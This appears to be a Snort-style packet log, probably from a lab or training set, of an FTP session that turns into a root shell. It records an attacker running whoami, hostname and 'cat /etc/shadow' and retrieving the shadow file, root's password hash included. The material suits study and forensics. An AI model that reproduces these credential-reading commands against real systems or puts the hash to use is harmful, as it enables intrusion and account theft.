0000000000000000 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000 30 30 30 30 30 30 30 30 00000000 =+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+ 11/14-16:05:50.905130 0:50:56:49:0:66 -> 0:3:FD:FA:30:1C type:0x800 len:0x5EA 192.168.36.26:21 -> 192.168.20.11:1649 TCP TTL:64 TOS:0x10 ID:37658 IpLen:20 DgmLen:1500 DF ***AP*** Seq: 0x2AE3FFB Ack: 0x2A613C3 Win: 0x7C70 TcpLen: 32 TCP Options (3) => NOP NOP TS: 69270429 114785021 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000 30 30 30 30 30 30 30 30 00000000 =+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+ 11/14-16:05:50.905979 0:50:56:49:0:66 -> 0:3:FD:FA:30:1C type:0x800 len:0x5A2 192.168.36.26:21 -> 192.168.20.11:1649 TCP TTL:64 TOS:0x10 ID:37659 IpLen:20 DgmLen:1428 DF ***AP*** Seq: 0x2AE45A3 Ack: 0x2A613C3 Win: 0x7C70 TcpLen: 32 TCP Options (3) => NOP NOP TS: 69270429 114785021 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0D 000000000000000. =+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+ 11/14-16:05:50.907492 0:3:FD:FA:30:1C -> 0:50:56:49:0:66 type:0x800 len:0x42 192.168.20.11:1649 -> 192.168.36.26:21 TCP TTL:63 TOS:0x0 ID:41705 IpLen:20 DgmLen:52 DF ***A**** Seq: 0x2A613C3 Ack: 0x2AE3A53 Win: 0x76C8 TcpLen: 32 TCP Options (3) => NOP NOP TS: 114785621 69270428 =+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+ 11/14-16:05:50.907497 0:3:FD:FA:30:1C -> 0:50:56:49:0:66 type:0x800 len:0x42 192.168.20.11:1649 -> 192.168.36.26:21 TCP TTL:63 TOS:0x0 ID:41707 IpLen:20 DgmLen:52 DF ***A**** Seq: 0x2A613C3 Ack: 0x2AE45A3 Win: 0x7C70 TcpLen: 32 TCP Options (3) => NOP NOP TS: 114785621 69270429 =+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+ 11/14-16:05:50.934336 0:3:FD:FA:30:1C -> 0:50:56:49:0:66 type:0x800 len:0x42 192.168.20.11:1649 -> 192.168.36.26:21 TCP TTL:63 TOS:0x0 ID:41714 IpLen:20 DgmLen:52 DF ***A**** Seq: 0x2A613C3 Ack: 0x2AE4B03 Win: 0x7C70 TcpLen: 32 TCP Options (3) => NOP NOP TS: 114785623 69270429 =+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+ 11/14-16:05:50.934464 0:50:56:49:0:66 -> 0:3:FD:FA:30:1C type:0x800 len:0xBF 192.168.36.26:21 -> 192.168.20.11:1649 TCP TTL:64 TOS:0x10 ID:37660 IpLen:20 DgmLen:177 DF ***AP*** Seq: 0x2AE4B03 Ack: 0x2A613C3 Win: 0x7C70 TcpLen: 32 TCP Options (3) => NOP NOP TS: 69270432 114785623 0A 4C 69 6E 75 78 20 6E 74 65 63 31 36 2D 33 36 .Linux ntec16-36 20 32 2E 32 2E 31 37 2D 31 34 20 23 31 20 4D 6F 2.2.17-14 #1 Mo 6E 20 46 65 62 20 35 20 31 38 3A 34 38 3A 35 30 n Feb 5 18:48:50 20 45 53 54 20 32 30 30 31 20 69 36 38 36 20 75 EST 2001 i686 u 6E 6B 6E 6F 77 6E 0A 2F 0A 75 69 64 3D 30 28 72 nknown./.uid=0(r 6F 6F 74 29 20 67 69 64 3D 30 28 72 6F 6F 74 29 oot) gid=0(root) 20 65 67 69 64 3D 35 30 28 66 74 70 29 20 67 72 egid=50(ftp) gr 6F 75 70 73 3D 35 30 28 66 74 70 29 0A oups=50(ftp). =+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+ 11/14-16:05:50.966614 0:3:FD:FA:30:1C -> 0:50:56:49:0:66 type:0x800 len:0x42 192.168.20.11:1649 -> 192.168.36.26:21 TCP TTL:63 TOS:0x0 ID:41716 IpLen:20 DgmLen:52 DF ***A**** Seq: 0x2A613C3 Ack: 0x2AE4B80 Win: 0x7C70 TcpLen: 32 TCP Options (3) => NOP NOP TS: 114785626 69270432 =+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+ 11/14-16:05:52.871002 0:3:FD:FA:30:1C -> 0:50:56:49:0:66 type:0x800 len:0x49 192.168.20.11:1649 -> 192.168.36.26:21 TCP TTL:63 TOS:0x0 ID:41723 IpLen:20 DgmLen:59 DF ***AP*** Seq: 0x2A613C3 Ack: 0x2AE4B80 Win: 0x7C70 TcpLen: 32 TCP Options (3) => NOP NOP TS: 114785817 69270432 77 68 6F 61 6D 69 0A whoami. =+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+ 11/14-16:05:52.875897 0:50:56:49:0:66 -> 0:3:FD:FA:30:1C type:0x800 len:0x47 192.168.36.26:21 -> 192.168.20.11:1649 TCP TTL:64 TOS:0x10 ID:37661 IpLen:20 DgmLen:57 DF ***AP*** Seq: 0x2AE4B80 Ack: 0x2A613CA Win: 0x7C70 TcpLen: 32 TCP Options (3) => NOP NOP TS: 69270626 114785817 72 6F 6F 74 0A root. =+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+ 11/14-16:05:52.917929 0:3:FD:FA:30:1C -> 0:50:56:49:0:66 type:0x800 len:0x42 192.168.20.11:1649 -> 192.168.36.26:21 TCP TTL:63 TOS:0x0 ID:41726 IpLen:20 DgmLen:52 DF ***A**** Seq: 0x2A613CA Ack: 0x2AE4B85 Win: 0x7C70 TcpLen: 32 TCP Options (3) => NOP NOP TS: 114785820 69270626 =+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+ 11/14-16:05:55.859955 0:3:FD:FA:30:1C -> 0:50:56:49:0:66 type:0x800 len:0x4B 192.168.20.11:1649 -> 192.168.36.26:21 TCP TTL:63 TOS:0x0 ID:41736 IpLen:20 DgmLen:61 DF ***AP*** Seq: 0x2A613CA Ack: 0x2AE4B85 Win: 0x7C70 TcpLen: 32 TCP Options (3) => NOP NOP TS: 114786121 69270626 68 6F 73 74 6E 61 6D 65 0A hostname. =+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+ 11/14-16:05:55.866685 0:50:56:49:0:66 -> 0:3:FD:FA:30:1C type:0x800 len:0x4C 192.168.36.26:21 -> 192.168.20.11:1649 TCP TTL:64 TOS:0x10 ID:37662 IpLen:20 DgmLen:62 DF ***AP*** Seq: 0x2AE4B85 Ack: 0x2A613D3 Win: 0x7C70 TcpLen: 32 TCP Options (3) => NOP NOP TS: 69270924 114786121 6E 74 65 63 31 36 2D 33 36 0A ntec16-36. =+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+ 11/14-16:05:55.886924 0:3:FD:FA:30:1C -> 0:50:56:49:0:66 type:0x800 len:0x42 192.168.20.11:1649 -> 192.168.36.26:21 TCP TTL:63 TOS:0x0 ID:41738 IpLen:20 DgmLen:52 DF ***A**** Seq: 0x2A613D3 Ack: 0x2AE4B8F Win: 0x7C70 TcpLen: 32 TCP Options (3) => NOP NOP TS: 114786123 69270924 =+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+ 11/14-16:06:03.092697 0:3:FD:FA:30:1C -> 0:50:56:49:0:66 type:0x800 len:0x53 192.168.20.11:1649 -> 192.168.36.26:21 TCP TTL:63 TOS:0x0 ID:41764 IpLen:20 DgmLen:69 DF ***AP*** Seq: 0x2A613D3 Ack: 0x2AE4B8F Win: 0x7C70 TcpLen: 32 TCP Options (3) => NOP NOP TS: 114786842 69270924 63 61 74 20 2F 65 74 63 2F 73 68 61 64 6F 77 73 cat /etc/shadows 0A . =+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+ 11/14-16:06:03.103056 0:50:56:49:0:66 -> 0:3:FD:FA:30:1C type:0x800 len:0x47 192.168.36.26:21 -> 192.168.20.11:1649 TCP TTL:64 TOS:0x10 ID:37664 IpLen:20 DgmLen:57 DF ***AP*** Seq: 0x2AE4B8F Ack: 0x2A613E4 Win: 0x7C70 TcpLen: 32 TCP Options (3) => NOP NOP TS: 69271648 114786842 63 61 74 3A 20 cat: =+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+ 11/14-16:06:03.133887 0:3:FD:FA:30:1C -> 0:50:56:49:0:66 type:0x800 len:0x42 192.168.20.11:1649 -> 192.168.36.26:21 TCP TTL:63 TOS:0x0 ID:41767 IpLen:20 DgmLen:52 DF ***A**** Seq: 0x2A613E4 Ack: 0x2AE4B94 Win: 0x7C70 TcpLen: 32 TCP Options (3) => NOP NOP TS: 114786846 69271648 =+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+ 11/14-16:06:03.133973 0:50:56:49:0:66 -> 0:3:FD:FA:30:1C type:0x800 len:0x6A 192.168.36.26:21 -> 192.168.20.11:1649 TCP TTL:64 TOS:0x10 ID:37665 IpLen:20 DgmLen:92 DF ***AP*** Seq: 0x2AE4B94 Ack: 0x2A613E4 Win: 0x7C70 TcpLen: 32 TCP Options (3) => NOP NOP TS: 69271650 114786846 2F 65 74 63 2F 73 68 61 64 6F 77 73 3A 20 4E 6F /etc/shadows: No 20 73 75 63 68 20 66 69 6C 65 20 6F 72 20 64 69 such file or di 72 65 63 74 6F 72 79 0A rectory. =+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+ 11/14-16:06:03.152140 0:3:FD:FA:30:1C -> 0:50:56:49:0:66 type:0x800 len:0x42 192.168.20.11:1649 -> 192.168.36.26:21 TCP TTL:63 TOS:0x0 ID:41769 IpLen:20 DgmLen:52 DF ***A**** Seq: 0x2A613E4 Ack: 0x2AE4BBC Win: 0x7C70 TcpLen: 32 TCP Options (3) => NOP NOP TS: 114786848 69271650 =+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+ 11/14-16:06:07.276498 0:3:FD:FA:30:1C -> 0:50:56:49:0:66 type:0x800 len:0x52 192.168.20.11:1649 -> 192.168.36.26:21 TCP TTL:63 TOS:0x0 ID:41786 IpLen:20 DgmLen:68 DF ***AP*** Seq: 0x2A613E4 Ack: 0x2AE4BBC Win: 0x7C70 TcpLen: 32 TCP Options (3) => NOP NOP TS: 114787255 69271650 63 61 74 20 2F 65 74 63 2F 73 68 61 64 6F 77 0A cat /etc/shadow. =+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+ 11/14-16:06:07.286835 0:50:56:49:0:66 -> 0:3:FD:FA:30:1C type:0x800 len:0x242 192.168.36.26:21 -> 192.168.20.11:1649 TCP TTL:64 TOS:0x10 ID:37669 IpLen:20 DgmLen:564 DF ***AP*** Seq: 0x2AE4BBC Ack: 0x2A613F4 Win: 0x7C70 TcpLen: 32 TCP Options (3) => NOP NOP TS: 69272066 114787255 72 6F 6F 74 3A 24 31 24 72 67 51 50 31 53 41 38 root:$1$rgQP1SA8 24 49 51 52 61 79 2F 53 46 75 2E 50 4B 45 38 58 $IQRay/SFu.PKE8X 77 61 65 36 36 43 30 3A 31 31 34 33 31 3A 30 3A wae66C0:11431:0: 39 39 39 39 39 3A 37 3A 2D 31 3A 2D 31 3A 31 33 99999:7:-1:-1:13 34 35 33 39 32 36 38 0A 62 69 6E 3A 2A 3A 31 31 4539268.bin:*:11 34 32 33 3A 30 3A 39 39 39 39 39 3A 37 3A 3A 3A 423:0:99999:7::: 0A 64 61 65 6D 6F 6E 3A 2A 3A 31 31 34 32 33 3A .daemon:*:11423: 30 3A 39 39 39 39 39 3A 37 3A 3A 3A 0A 61 64 6D 0:99999:7:::.adm 3A 2A 3A 31 31 34 32 33 3A 30 3A 39 39 39 39 39 :*:11423:0:99999 3A 37 3A 3A 3A 0A 6C 70 3A 2A 3A 31 31 34 32 33 :7:::.lp:*:11423 3A 30 3A 39 39 39 39 39 3A 37 3A 3A 3A 0A 73 79 :0:99999:7:::.sy 6E 63 3A 2A 3A 31 31 34 32 33 3A 30 3A 39 39 39 nc:*:11423:0:999 39 39 3A 37 3A 3A 3A 0A 73 68 75 74 64 6F 77 6E 99:7:::.shutdown 3A 2A 3A 31 31 34 32 33 3A 30 3A 39 39 39 39 39 :*:11423:0:99999 3A 37 3A 3A 3A 0A 68 61 6C 74 3A 2A 3A 31 31 34 :7:::.halt:*:114 32 33 3A 30 3A 39 39 39 39 39 3A 37 3A 3A 3A 0A 23:0:99999:7:::. 6D 61 69 6C 3A 2A 3A 31 31 34 32 33 3A 30 3A 39 mail:*:11423:0:9 39 39 39 39 3A 37 3A 3A 3A 0A 6E 65 77 73 3A 2A 9999:7:::.news:* 3A 31 31 34 32 33 3A 30 3A 39 39 39 39 39 3A 37 :11423:0:99999:7 3A 3A 3A 0A 75 75 63 70 3A 2A 3A 31 31 34 32 33 :::.uucp:*:11423 3A 30 3A 39 39 39 39 39 3A 37 3A 3A 3A 0A 6F 70 :0:99999:7:::.op 65 72 61 74 6F 72 3A 2A 3A 31 31 34 32 33 3A 30 